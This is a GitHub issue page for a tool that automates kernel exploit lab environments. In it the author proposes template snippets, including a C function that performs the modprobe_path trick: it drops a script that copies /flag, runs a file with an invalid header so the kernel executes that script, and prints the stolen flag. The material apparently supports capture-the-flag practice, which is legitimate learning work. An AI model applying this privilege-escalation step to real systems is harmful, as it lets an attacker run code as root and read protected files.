Squirre17 / Autokd

automate kernel exploit environment deploy

Geek Repo:Geek Repo

Github PK Tool:Github PK Tool

add this snippet

Squirre17 opened this issue · comments

commented
void trigger_modprobe(){
  Info("trigger_modprobe");
  system(
    "echo '#!/bin/sh\n"
    "cp /flag /tmp/flag\n"
    "chmod 777 /tmp/flag' > /tmp/s\n"
  );
  system("chmod +x /tmp/s");
  system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy");
  system("chmod +x /tmp/dummy");
  Info("Run unknown file");
  system("/tmp/dummy");
  system("cat /tmp/flag");
  exit(0);
}
commented

add more header

#include <stdio.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <errno.h>
#include <signal.h>
#include <sys/syscall.h>
#include <stdint.h>
#include <sys/prctl.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <assert.h>
commented

set template macro all lower-case